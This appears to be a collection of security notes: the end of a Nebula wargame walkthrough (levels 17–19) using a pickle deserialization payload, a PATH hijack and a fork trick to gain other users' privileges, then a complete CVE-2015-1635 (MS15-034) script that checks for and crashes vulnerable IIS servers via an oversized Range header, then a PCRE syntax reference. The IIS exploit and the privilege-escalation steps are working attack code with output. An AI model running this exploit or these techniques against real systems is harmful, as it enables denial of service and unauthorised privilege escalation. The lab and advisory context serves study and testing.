payload = pickle.dumps(GetFlag())

host = 'localhost'
port = 10007

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))
client.send(payload)
client.close()
$ python /tmp/l17.py
$ cat /tmp/flag17
You have successfully executed getflag on a target account

Level 18

$ cat /tmp/Starting 
/usr/bin/id
/bin/getflag
$ chmod +x /tmp/Starting
$ PATH=/tmp:$PATH
$ python -c "print 'login me\n'*1021 + 'closelog\n'*1021 + 'shell\n'" | /home/flag18/flag18 --rcfile -d /tmp/debug -v -v -v 2> /dev/null
uid=981(flag18) gid=1019(level18) groups=981(flag18),1019(level18)
You have successfully executed getflag on a target account

Level 19

$ cat /tmp/fork.c
#include <unistd.h>

int main(){
 pid_t pid = fork();
 if(pid == 0){
  // Child
  char *path = "/home/flag19/flag19";
  char *cmd[] = {"/bin/sh", "-c", "/bin/echo && /usr/bin/id && /bin/getflag"};
  sleep(2);
  execv(path, cmd);
 }
 return 0;
}
$ gcc -o /tmp/fork /tmp/fork.c
$ /tmp/fork
$ 
uid=1020(level19) gid=1020(level19) euid=980(flag19) groups=980(flag19),1020(level19)
You have successfully executed getflag on a target account
$ cat /tmp/fork.py
import os
import time

def child():
 time.sleep(2)
 os.execv('/home/flag19/flag19', ['/bin/sh', '-c', '/bin/echo && /usr/bin/id && /bin/getflag'])

def parent():
 pid = os.fork()
 if pid == 0:
  child()

parent()
$ python /tmp/fork.py
$ 
uid=1020(level19) gid=1020(level19) euid=980(flag19) groups=980(flag19),1020(level19)
You have successfully executed getflag on a target account

Reference

https://exploit-exercises.com/nebula/

# CVE-2015-1635: Check and exploit MS15-034


# cat cve-2015-1635.py
#!/usr/bin/env python


"""cve-2015-1635.py: DoS PoC"""


import argparse, BeautifulSoup, re, requests, socket, sys, urlparse


__author__  = 't0n1'
__credits__ = 'sha0'


LOW  = '2'
HIGH = '18446744073709551615'
UA   = 'Mozilla/5.0'
TOUT = 3
MAX  = 262144


s = requests.Session()


def parse_url(url):
 url = urlparse.urljoin(URL, url)
 parsed = urlparse.urlparse(url)
 return parsed.scheme + '://' + parsed.netloc + parsed.path


def get_content_length(url):
 h = {
  'User-agent': UA,
 }
 r = s.head(url, headers = h, verify = False)
 return int(r.headers['content-length'])
  

def get_resource(html):
 parsed = urlparse.urlparse(URL)
 urllist = []
 soup = BeautifulSoup.BeautifulSoup(html)
 for img in soup.findAll('img', src = True):
  urllist.append(parse_url(img['src']))
 for link in soup.findAll('a', href = True):
  urllist.append(parse_url(link['href']))
 for url in urllist:
  if parsed.netloc not in url:
   continue
  cl = get_content_length(url)
  if 0 < cl and cl <= MAX:
   print '[+] New URL = ' + url + ' | Content-Length = ' + str(cl) + ' <= ' + str(MAX)
   return url
 cl = get_content_length(URL)
 print '[+] Same URL = ' + URL + ' | Content-Length = ' + str(cl) + ' <= ' + str(MAX)
 return URL


def check_iis():
 global URL
 h = {
  'User-agent': UA,
 }
 r = s.get(URL, headers = h, verify = False)
 print '[+] URL = ' + URL
 if 'server' in r.headers.keys():
  server = r.headers['server']
  if 'iis' in server.lower():
   print '[+] Server HTTP Header = ' + server
   if r.status_code == 200:
    print '[+] Status Code = 200'
    URL = get_resource(r.text)
    return True
   else:
    print '[-] Status Code = ' + str(r.status_code)
    return False
  else:
   print '[-] Server HTTP Header = ' + server
   return False
 else:
  print '[-] Not Server HTTP Header'
  return False


def check_vulnerable():
 h = {
  'User-agent': UA,
  'Range': 'bytes=0-' + HIGH
 }
 r = s.get(URL, headers = h, verify = False)
 if r.status_code == 416:
  print '[+] >>>>>>>>>> Vulnerable | Status Code = 416'
  return True
 elif r.status_code == 400:
  print '[-] Not vulnerable | Status Code = 400 | Patched?'
  return False
 else:
  print '[-] Not vulnerable | Status Code = ' + str(r.status_code)
  return False


def exploit():
 h = {
  'User-agent': UA,
  'Range': 'bytes=' + LOW + '-' + HIGH
 }
 try:
  r = s.get(URL, headers = h, timeout = TOUT, verify = False)
  if r.status_code == 206:
   print '[-] Not vulnerable | Status Code = 206 | Kernel cache disabled?'
 except requests.exceptions.ConnectionError:
  pass
 except requests.exceptions.Timeout:
  print '[+] Blue Screen of Death! Game Over!'


parser = argparse.ArgumentParser()
parser.add_argument('-u', dest = 'url', help = 'Target', required = True)
parser.add_argument('-e', dest = 'exploit', action = 'store_true', help = 'Exploit', required = False)


args = parser.parse_args()
URL = args.url


if check_iis():
 if check_vulnerable():
  if args.exploit == True:
   exploit()

# ./cve-2015-1635.py -h
usage: cve-2015-1635.py [-h] -u URL [-e]

optional arguments:
  -h, --help  show this help message and exit
  -u URL      Target
  -e          Exploit

# ./cve-2015-1635.py -u http://127.0.0.1:8080
[+] URL = http://127.0.0.1:8080
[+] Server HTTP Header = Microsoft-IIS/7.5
[+] Status Code = 200
[+] New URL = http://127.0.0.1:8080/welcome.png | Content-Length = 184946 <= 262144
[+] >>>>>>>>>> Vulnerable | Status Code = 416

# ./cve-2015-1635.py -u http://127.0.0.1:8080 -e
[+] URL = http://127.0.0.1:8080
[+] Server HTTP Header = Microsoft-IIS/7.5
[+] Status Code = 200
[+] New URL = http://127.0.0.1:8080/welcome.png | Content-Length = 184946 <= 262144
[+] >>>>>>>>>> Vulnerable | Status Code = 416
[+] Blue Screen of Death! Game Over!


References

https://technet.microsoft.com/library/security/ms15-034

# PCRE (Perl Compatible Regular Expression)


General Tokens

\n Newline
\r Carriage return
\t Tab
\0 Null character

Anchors

\G Start of match. Will match at the position the previous successful match ended
^ Start of string (multiline mode). Will match after each newline character
$ End of string (multiline mode). Will match before each newline character
\A Start of string
\Z End of string. Will match before last newline character
\z End of string. Will match at the end of a string
\b A word boundary. Will match between \w and \W
\B Non-word boundary. Will match between two characters matched by \w

Meta Sequences

. Any single character
\s Any whitespace
\S Any non-whitespace
\d Any digit
\D Any non-digit
\w Any word
\W Any non-word
\X Any unicode sequences
\C Match one data unit
\R Unicode newline
\v Vertical whitespace
\h Horizontal whitespace
\H Non-horizontal whitespace
\K Reset match: sets the given position as the new start
\n Match nth subpattern (backreference)
\pX Unicode property X
\PX Non-unicode property X
\p{...} Unicode properties
\P{...} Non-unicode properties
\Q...\E Any characters between will be treated as literals
\k<name> Match subpattern 'name'
\k'name' Match subpattern 'name'
\k{name} Match subpattern 'name'
\gn Match nth subpattern
\g{n} Match nth subpattern
\g{-n} Match nth group before current position
\g'name' Recurse subpattern 'name'
\g<n> Recurse nth subpattern
\g'n' Recurse nth subpattern
\g<+n> Recurse nth relative subpattern
\g'+n' Recurse nth relative subpattern
\xYY Hex character YY
\x{YYYY} Hex character YYYY
\ddd Octal character ddd
\cY Control character Y
\b Backspace character
\ Makes any character literal

Quantifiers

a? Zero or one a
a* Zero or more of a
a+ One or more of a
a{3} Exactly 3 of a
a{3,} 3 or more of a
a{3,6} Between 3 and 6 of a
a* Greedy quantifier
a*? Lazy/Reluctant quantifier
a*+ Possessive quantifier

Group Constructs

(...) Capture everything enclosed
(a|b) a or b
(?:...) Match everything enclosed but won't create a capture group
(?>...) Atomic group
(?|...) Duplicate subpattern group
(?#...) Comment
(?'name'...) Named capturing group
(?<name>...) Named capturing group
(?P<name>...) Named capturing group
(?imsxXU) Inline modifiers
(?(...)|) Conditional statement
(?R) Recurse entire pattern
(?1) Recurse first subpattern
(?+1) Recurse first relative subpattern
(?&name) Match subpattern 'name'
(?P>name) Match subpattern 'name'
(?=...) Positive lookahead
(?!...) Negative lookahead
(?<=...) Positive lookbehind
(?<!...) Negative lookbehind

Character classes

[abc] A character: a, b or c
[^abc] A character except: a, b or c
[a-z] A character in the range: a-z
[a-z] A character not in the range: a-z
[a-zA-Z] A character in the range: a-z or A-Z
[[:alnum:]] Letter or digit
[[:alpha:]] Letter
[[:ascii:]] Ascii code in the range: 0-127
[[:blank:]] Space or tab
[[:cntrl:]] Control character
[[:digit:]] Digit
[[:graph:]] Visible character (not space)
[[:lower:]] Lower character
[[:print:]] Visible character
[[:punct:]] Visible punctuation character
[[:space:]] Whitespace
[[:upper:]] Uppercase character
[[:word:]] Word
[[:xdigit:]] Hexadecimal digit

Flags/Modifiers

g Global
m Multiline
i Case insensitive
x Ignore whitespace
s Single line
u Unicode
X Extended
U Ungreedy
A Anchor

Substitution

\0 Complete match contents
\1 Contents in capture group 1
\g<1> Contents in capture group 1
$1 Contents in capture group 1
${foo} Contents in capture group 'foo'
\{foo} Contents in capture group 'foo'
\g{foo} Contents in capture group 'foo'
\xYY Hexadecimal replacement
\x{YYZZ} Hexadecimal replacement
\t Tab
\r Carriage return
\n Newline
\f Form-feed

PCRE tester

# perl -Mre=debugcolor -e '"preval(" =~ /(^|\s)eval\(/'
Compiling REx "(^|\s)eval\("
Final program:
   1: OPEN1 (3)
   3:   BRANCH (5)
   4:     BOL (7)
   5:   BRANCH (FAIL)
   6:     POSIXD[\s] (7)
   7: CLOSE1 (9)
   9: EXACT <eval(> (12)
  12: END (0)
floating "eval(" at 0..1 (checking floating) minlen 5 
Guessing start of match in sv for REx "(^|\s)eval\(" against "preval("
Found floating substr "eval(" at offset 2...
Starting position does not contradict /^/m...
Guessed: match at offset 1
Matching REx "(^|\s)eval\(" against "reval("
   1 <preval(>|  1:OPEN1(3)
   1 <preval(>|  3:BRANCH(5)
   1 <preval(>|  4:  BOL(7)
                                    failed...
   1 <preval(>|  5:BRANCH(7)
   1 <preval(>|  6:  POSIXD[\s](7)
                                    failed...
                                  BRANCH failed...
   2 <preval(>|  1:OPEN1(3)
   2 <preval(>|  3:BRANCH(5)
   2 <preval(>|  4:  BOL(7)
                                    failed...
   2 <preval(>|  5:BRANCH(7)
   2 <preval(>|  6:  POSIXD[\s](7)
                                    failed...
                                  BRANCH failed...
Match failed
Freeing REx: "(^|\s)eval\("

# perl -Mre=debugcolor -e '"eval(" =~ /(^|\s)eval\(/'
Compiling REx "(^|\s)eval\("
Final program:
   1: OPEN1 (3)
   3:   BRANCH (5)
   4:     BOL (7)
   5:   BRANCH (FAIL)
   6:     POSIXD[\s] (7)
   7: CLOSE1 (9)
   9: EXACT <eval(> (12)
  12: END (0)
floating "eval(" at 0..1 (checking floating) minlen 5 
Guessing start of match in sv for REx "(^|\s)eval\(" against "eval("
Found floating substr "eval(" at offset 0...
Guessed: match at offset 0
Matching REx "(^|\s)eval\(" against "eval("
   0 <eval(>|  1:OPEN1(3)
   0 <eval(>|  3:BRANCH(5)
   0 <eval(>|  4:  BOL(7)
   0 <eval(>|  7:  CLOSE1(9)
   0 <eval(>|  9:  EXACT <eval(>(12)
   5 <eval(>| 12:  END(0)
Match successful!
Freeing REx: "(^|\s)eval\("


References

http://pcre.org/pcre.txt